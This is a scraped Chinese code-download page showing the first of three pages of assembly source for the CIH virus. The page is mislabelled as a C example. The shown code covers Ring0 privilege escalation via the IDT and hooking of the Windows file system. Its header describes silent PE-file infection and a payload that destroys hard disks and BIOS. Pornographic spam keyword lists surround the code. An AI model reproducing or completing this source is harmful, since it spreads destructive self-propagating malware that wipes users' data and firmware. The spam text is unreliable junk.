亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? 046.c

?? C語言105例光盤保存
?? C
?? 第 1 頁 / 共 3 頁
字號:
*********************************************************

; * The Virus Program Information * 

; ******************************************************* 

; * * 
; * Designer : CIH Source : TTIT of TATUNG in Taiwan * 
; * Create Date : 04/26/1998 Now Version : 1.4 * 
; * Modification Time : 05/31/1998 * 
; * * 
; * Turbo Assembler Version 4.0 : tasm /m cih * 
; * Turbo Link Version 3.01 : tlink /3 /t cih, cih.exe * 
; * * 
; *=========================================================* 
; * Modification History * 
; *=========================================================* 
; * v1.0 1. Create the Virus Program. * 
; * 2. The Virus Modifies IDT to Get Ring0 Privilege. * 
; * 04/26/1998 3. Virus Code doesn't Reload into System. * 
; * 4. Call IFSMgr_InstallFileSystemApiHook to Hook File System. * 
; * 5. Modifies Entry Point of IFSMgr_InstallFileSystemApiHook. * 
; * 6. When System Opens Existing PE File, the File will be * 
; * Infected, and the File doesn't be Reinfected. * 
; * 7. It is also Infected, even the File is Read-Only. * 
; * 8. When the File is Infected, the Modification Date and Time * 
; * of the File also don't be Changed. * 
; * 9. When My Virus Uses IFSMgr_Ring0_FileIO, it will not Call * 
; * Previous FileSystemApiHook, it will Call the Function * 
; * that the IFS Manager Would Normally Call to Implement * 
; * this Particular I/O Request. * 
; * 10. The Virus Size is only 656 Bytes. * 
; *============================================================* 
; * v1.1 1. Especially, the File that be Infected will not Increase * 
; * it's Size... ^__^ * 
; * 05/15/1998 2. Hook and Modify Structured Exception Handing. * 
; * When Exception Error Occurs, Our OS System should be in * 
; * Windows NT. So My Cute Virus will not Continue to Run, * 
; * it will Jmup to Original Application to Run. * 
; * 3. Use Better Algorithm, Reduce Virus Code Size. * 
; * 4. The Virus "Basic" Size is only 796 Bytes. * 
; *=============================================================* 
; * v1.2 1. Kill All HardDisk, and BIOS... Super... Killer... * 
; * 2. Modify the Bug of v1.1 * 
; * 05/21/1998 3. The Virus "Basic" Size is 1003 Bytes. * 
; *============================================================* 
; * v1.3 1. Modify the Bug that WinZip Self-Extractor Occurs Error. * 
; * So When Open WinZip Self-Extractor ==> Don't Infect it. * 
; * 05/24/1998 2. The Virus "Basic" Size is 1010 Bytes. * 
; *=============================================================* 
; * v1.4 1. Full Modify the Bug : WinZip Self-Extractor Occurs Error. * 
; * 2. Change the Date of Killing Computers. * 
; * 05/31/1998 3. Modify Virus Version Copyright. * 
; * 4. The Virus "Basic" Size is 1019 Bytes. * 
; ************************************************************* 

.586P 

; ************************************************************* 
; * Original PE Executable File(Don't Modify this Section) * 
; ************************************************************ 

OriginalAppEXE SEGMENT 

FileHeader: 
db 04dh, 05ah, 090h, 000h, 003h, 000h, 000h, 000h 
db 004h, 000h, 000h, 000h, 0ffh, 0ffh, 000h, 000h 
db 0b8h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 040h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 080h, 000h, 000h, 000h 
db 00eh, 01fh, 0bah, 00eh, 000h, 0b4h, 009h, 0cdh 
db 021h, 0b8h, 001h, 04ch, 0cdh, 021h, 054h, 068h 
db 069h, 073h, 020h, 070h, 072h, 06fh, 067h, 072h 
db 061h, 06dh, 020h, 063h, 061h, 06eh, 06eh, 06fh 
db 074h, 020h, 062h, 065h, 020h, 072h, 075h, 06eh 
db 020h, 069h, 06eh, 020h, 044h, 04fh, 053h, 020h 
db 06dh, 06fh, 064h, 065h, 02eh, 00dh, 00dh, 00ah 
db 024h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 050h, 045h, 000h, 000h, 04ch, 001h, 001h, 000h 
db 0f1h, 068h, 020h, 035h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 0e0h, 000h, 00fh, 001h 
db 00bh, 001h, 005h, 000h, 000h, 010h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 010h, 010h, 000h, 000h, 000h, 010h, 000h, 000h 
db 000h, 020h, 000h, 000h, 000h, 000h, 040h, 000h 
db 000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h 
db 004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 020h, 000h, 000h, 000h, 002h, 000h, 000h 
db 000h, 000h, 000h, 000h, 002h, 000h, 000h, 000h 
db 000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h 
db 000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h 
db 000h, 000h, 000h, 000h, 010h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 0c3h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
dd 00000000h, VirusSize 

lea ecx, StopToRunVirusCode-@0[ebx] 
push ecx 

push eax 

; ************************************* 
; * Let's Modify * 
; * IDT(Interrupt Descriptor Table) * 
; * to Get Ring0 Privilege... * 
; ************************************* 

push eax ; 
sidt [esp-02h] ; Get IDT Base Address 
pop ebx ; 

add ebx, HookExceptionNumber*08h+04h ; ZF = 0 

cli 

mov ebp, [ebx] ; Get Exception Base 
mov bp, [ebx-04h] ; Entry Point 

lea esi, MyExceptionHook-@1[ecx] 

push esi 

mov [ebx-04h], si ; 
shr esi, 16 ; Modify Exception 
mov [ebx+02h], si ; Entry Point Address 

pop esi 

; ************************************* 
; * Generate Exception to Get Ring0 * 
; ************************************* 

int HookExceptionNumber ; GenerateException 
ReturnAddressOfEndException = $ 

; ************************************* 
; * Merge All Virus Code Section * 
; ************************************* 

; ************************************* 
; * Generate Exception Again * 
; ************************************* 

int HookExceptionNumber ; GenerateException Aga 


; ************************************* 
; * Let's Restore * 
; * Structured Exception Handing * 
; ************************************* 

ReadyRestoreSE: 
sti 

xor ebx, ebx 

jmp RestoreSE 

; ************************************* 
; * When Exception Error Occurs, * 
; * Our OS System should be in NT. * 
; * So My Cute Virus will not * 
; * Continue to Run, it Jmups to * 
; * Original Application to Run. * 
; ************************************* 

StopToRunVirusCode: 
@1 = StopToRunVirusCode 

xor ebx, ebx 
mov eax, fs:[ebx] 
mov esp, [eax] 

RestoreSE: 
pop dword ptr fs:[ebx] 
pop eax 

; ************************************* 
; * Return Original App to Execute * 
; ************************************* 

pop ebp 

push 00401000h ; Push Original 
OriginalAddressOfEntryPoint = $-4 ; App Entry Point to Stack 

ret ; Return to Original App Entry Point 

; ********************************************************* 
; * Ring0 Virus Game Initial Program * 
; ********************************************************* 

MyExceptionHook: 
@2 = MyExceptionHook 

jz InstallMyFileSystemApiHook 

; ************************************* 
; * Do My Virus Exist in System !? * 
; ************************************* 

mov ecx, dr0 
jecxz AllocateSystemMemoryPage 

add dword ptr [esp], ReadyRestoreSE-ReturnAddressOf 
dException 

; ************************************* 
; * Return to Ring3 Initial Program * 
; ************************************* 

ExitRing0Init: 
mov [ebx-04h], bp ; 
shr ebp, 16 ; Restore Exception 
mov [ebx+02h], bp ; 

iretd 

; ************************************* 
; * Allocate SystemMemory Page to Use * 
; ************************************* 

AllocateSystemMemoryPage: 

mov dr0, ebx ; Set the Mark of My Virus Exis 
in System 

push 00000000fh ; 
push ecx ; 
push 0ffffffffh ; 
push ecx ; 
push ecx ; 
push ecx ; 
push 000000001h ; 
push 000000002h ; 
int 20h ; VMMCALL _PageAllocate 
_PageAllocate = $ ; 
dd 00010053h ; Use EAX, ECX, EDX, and flags 
add esp, 08h*04h 

xchg edi, eax ; EDI = SystemMemory Start Addr 
s 

lea eax, MyVirusStart-@2[esi] 

iretd ; Return to Ring3 Initial Program 

; ************************************* 
; * Install My File System Api Hook * 
; ************************************* 

InstallMyFileSystemApiHook: 

lea eax, FileSystemApiHook-@6[edi] 

push eax ; 
int 20h ; VXDCALL IFSMgr_InstallFileSystemApiHook 
IFSMgr_InstallFileSystemApiHook = $ ; 
dd 00400067h ; Use EAX, ECX, EDX, and flags 

mov dr0, eax ; Save OldFileSystemApiHook Add 
ss 

pop eax ; EAX = FileSystemApiHook Address 

; Save Old IFSMgr_InstallFileSystemApiHook Entry Point 
mov ecx, IFSMgr_InstallFileSystemApiHook-@2[esi] 
mov edx, [ecx] 
mov OldInstallFileSystemApiHook-@3[eax], edx 

; Modify IFSMgr_InstallFileSystemApiHook Entry Point 
lea eax, InstallFileSystemApiHook-@3[eax] 
mov [ecx], eax 

cli 

jmp ExitRing0Init 

; ********************************************************* 
; * Code Size of Merge Virus Code Section * 
; ********************************************************* 

CodeSizeOfMergeVirusCodeSection = offset $ 

; ********************************************************* 
; * IFSMgr_InstallFileSystemApiHook * 
; ********************************************************* 

InstallFileSystemApiHook: 
push ebx 

call @4 ; 
@4: ; 
pop ebx ; mov ebx, offset FileSystemApiHook 
add ebx, FileSystemApiHook-@4 ; 

push ebx 
int 20h ; VXDCALL IFSMgr_RemoveFileSystemApiHook 
IFSMgr_RemoveFileSystemApiHook = $ 
dd 00400068h ; Use EAX, ECX, EDX, and flags 
pop eax 

; Call Original IFSMgr_InstallFileSystemApiHook 
; to Link Client FileSystemApiHook 
push dword ptr [esp+8] 
call OldInstallFileSystemApiHook-@3[ebx] 
pop ecx 

push eax 

; Call Original IFSMgr_InstallFileSystemApiHook 
; to Link My FileSystemApiHook 
push ebx 
call OldInstallFileSystemApiHook-@3[ebx] 
pop ecx 

mov dr0, eax ; Adjust OldFileSystemApiHook A 
ress 

pop eax 

pop ebx 

ret 

; ********************************************************* 
; * Static Data * 
; ********************************************************* 

OldInstallFileSystemApiHook dd ? 

; ********************************************************* 
; * IFSMgr_FileSystemHook * 
; ********************************************************* 

; ************************************* 
; * IFSMgr_FileSystemHook Entry Point * 
; ************************************* 

FileSystemApiHook: 
@3 = FileSystemApiHook 

pushad 

call @5 ; 
@5: ; 
pop esi ; mov esi, offset VirusGameDataStartAdd 
ss 
add esi, VirusGameDataStartAddress-@5 

; ************************************* 
; * Is OnBusy !? * 
; ************************************* 

test byte ptr (OnBusy-@6)[esi], 01h ; if ( OnBusy ) 
jnz pIFSFunc ; goto pIFSFunc 

; ************************************* 
; * Is OpenFile !? * 
; ************************************* 

; if ( NotOpenFile ) 
; goto prevhook 
lea ebx, [esp+20h+04h+04h] 
cmp dword ptr [ebx], 00000024h 
jne prevhook 

; ************************************* 
; * Enable OnBusy * 
; ************************************* 

inc byte ptr (OnBusy-@6)[esi] ; Enable OnBusy 

; ************************************* 
; * Get FilePath's DriveNumber, * 
; * then Set the DriveName to * 
; * FileNameBuffer. * 
; ************************************* 
; * Ex. If DriveNumber is 03h, * 
; * DriveName is 'C:'. * 
; ************************************* 

; mov esi, offset FileNameBuffer 
add esi, FileNameBuffer-@6 

push esi 

mov al, [ebx+04h] 
cmp al, 0ffh 
je CallUniToBCSPath 

add al, 40h 
mov ah, ':' 

mov [esi], eax 

inc esi 
inc esi 

; ************************************* 
; * UniToBCSPath * 
; ************************************* 
; * This Service Converts * 
; * a Canonicalized Unicode Pathname * 
; * to a Normal Pathname in the * 
; * Specified BCS Character Set. * 
; ************************************* 

CallUniToBCSPath: 
push 00000000h 
push FileNameBufferSize 
mov ebx, [ebx+10h] 
mov eax, [ebx+0ch] 
add eax, 04h 
push eax 
push esi 
int 20h ; VXDCall UniToBCSPath 
UniToBCSPath = $ 
dd 00400041h 
add esp, 04h*04h 

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
在线观看一区二区视频| 国产综合成人久久大片91| 处破女av一区二区| 综合久久国产九一剧情麻豆| 99久久精品费精品国产一区二区| 亚洲欧洲日韩女同| 欧美三级韩国三级日本三斤| 图片区小说区国产精品视频| 精品少妇一区二区三区视频免付费| 国产一区二区三区最好精华液| 欧美极品美女视频| 欧美亚洲日本一区| 久久疯狂做爰流白浆xx| 国产视频不卡一区| 欧美午夜不卡在线观看免费| 日韩成人伦理电影在线观看| 精品久久人人做人人爽| av在线一区二区三区| 日韩精品欧美精品| 久久精品视频网| 91久久精品国产91性色tv| 日韩不卡一区二区三区| 日本一区二区三区四区| 欧美亚洲愉拍一区二区| 国内精品免费**视频| 综合激情成人伊人| 欧美一级黄色大片| 暴力调教一区二区三区| 日韩成人免费看| 18成人在线观看| 欧美日韩国产免费一区二区| 国产精品影音先锋| 亚洲一区二区三区在线播放| 久久视频一区二区| 欧美亚洲国产bt| 国产精品一区二区黑丝| 香蕉久久一区二区不卡无毒影院 | 日韩亚洲欧美中文三级| 国产白丝精品91爽爽久久 | 亚洲va欧美va天堂v国产综合| 精品国产一区二区三区久久久蜜月 | 成人精品国产免费网站| 午夜久久久久久电影| 国产精品国产三级国产aⅴ无密码 国产精品国产三级国产aⅴ原创 | 欧美剧情电影在线观看完整版免费励志电影 | 夜夜嗨av一区二区三区| 久久精品亚洲乱码伦伦中文| 欧美三电影在线| 成人国产精品视频| 激情综合五月天| 首页国产欧美日韩丝袜| 亚洲精品视频在线观看免费| 久久久噜噜噜久噜久久综合| 日韩一区二区在线观看| 99vv1com这只有精品| 国产一区二区三区在线观看免费 | 91网站最新地址| 国产精品综合一区二区| 麻豆91免费看| 香蕉成人啪国产精品视频综合网| 国产精品超碰97尤物18| 日本一区二区成人| 久久久久久99久久久精品网站| 欧美一区三区二区| 9191久久久久久久久久久| 日本伦理一区二区| 色爱区综合激月婷婷| 99久久久国产精品| www.66久久| 色综合天天做天天爱| 豆国产96在线|亚洲| 成人综合激情网| 国产高清不卡一区二区| 国产一区啦啦啦在线观看| 久久综合综合久久综合| 美腿丝袜在线亚洲一区| 日韩va亚洲va欧美va久久| 丝袜美腿一区二区三区| 日韩电影在线一区二区| 青青草原综合久久大伊人精品| 亚洲一区在线观看免费 | 亚洲欧洲韩国日本视频| 国产精品视频一区二区三区不卡| 日韩一区二区在线观看| 欧美一级片在线看| 日韩精品一区二区在线| 久久亚洲欧美国产精品乐播 | 美国十次综合导航| 激情文学综合插| 激情久久五月天| 国产成人综合在线播放| 成人精品高清在线| 91精品国产综合久久久久久久久久| 欧洲一区二区三区在线| 欧美色国产精品| 日韩午夜小视频| 久久色在线观看| 国产精品不卡在线观看| 亚洲第一久久影院| 紧缚捆绑精品一区二区| av电影一区二区| 在线观看视频一区二区| 欧美一区二区三区在| 精品国产一区二区三区不卡| 欧美激情艳妇裸体舞| 一个色妞综合视频在线观看| 日韩精品欧美精品| 国产91在线观看丝袜| 一本久久a久久免费精品不卡| 日本韩国精品一区二区在线观看| 欧美日韩在线直播| 26uuu国产在线精品一区二区| 亚洲国产精品精华液ab| 亚洲一区二区免费视频| 国内精品久久久久影院一蜜桃| 97超碰欧美中文字幕| 欧美剧情电影在线观看完整版免费励志电影| 日韩免费视频线观看| 国产精品人妖ts系列视频| 午夜视频在线观看一区二区| 国产一区二区不卡| 色94色欧美sute亚洲13| 久久久久久久久99精品| 亚洲一区在线观看网站| 国产精品69毛片高清亚洲| 欧美日韩一区中文字幕| 国产欧美精品区一区二区三区| 亚洲综合色在线| 成人高清视频在线观看| 欧美一级日韩不卡播放免费| 综合久久综合久久| 韩国精品主播一区二区在线观看 | 亚洲欧美中日韩| 麻豆精品蜜桃视频网站| 色老汉一区二区三区| 久久色中文字幕| 蜜乳av一区二区三区| 欧美日韩免费观看一区二区三区| 久久久蜜桃精品| 免费观看在线色综合| 在线免费观看一区| 中文字幕一区三区| 国产精品伊人色| 欧美变态口味重另类| 天天综合天天做天天综合| 日本精品一区二区三区高清| 国产午夜精品久久| 久久99精品国产麻豆婷婷| 欧美日韩国产美| 亚洲一区免费视频| 91久久香蕉国产日韩欧美9色| 国产视频911| 国产精品一级片在线观看| 日韩欧美另类在线| 日本在线不卡视频| 欧美日韩国产系列| 婷婷久久综合九色综合绿巨人| 99re这里只有精品视频首页| 国产校园另类小说区| 国产精品自拍av| 国产无一区二区| 精品亚洲国产成人av制服丝袜| 欧美日本国产视频| 午夜亚洲国产au精品一区二区| 91成人免费在线| 一区二区三区久久| 色又黄又爽网站www久久| 国产精品国产三级国产三级人妇| 成人综合在线观看| 亚洲天堂精品在线观看| 99久久精品免费看| 亚洲欧美日韩一区| 91麻豆精品国产91久久久使用方法| 亚洲一区二区三区在线看| 在线观看国产日韩| 亚洲高清久久久| 欧美日韩国产一区二区三区地区| 亚洲一区二区三区美女| 欧美精品123区| 精品一区二区三区在线播放视频| 日韩亚洲欧美综合| 高清视频一区二区| 中文字幕亚洲综合久久菠萝蜜| 91在线国产福利| 午夜久久久影院| 欧美成人高清电影在线| 国产成人在线影院| 国产精品家庭影院| 欧美日韩国产在线播放网站| 欧美aⅴ一区二区三区视频| 精品久久久久久亚洲综合网| 成人免费视频一区二区| 亚洲免费视频中文字幕| 欧美日韩久久久久久| 久久国产精品无码网站| 久久精品亚洲国产奇米99| 91偷拍与自偷拍精品| 日韩高清不卡在线| 欧美激情一区三区| 欧美三级资源在线|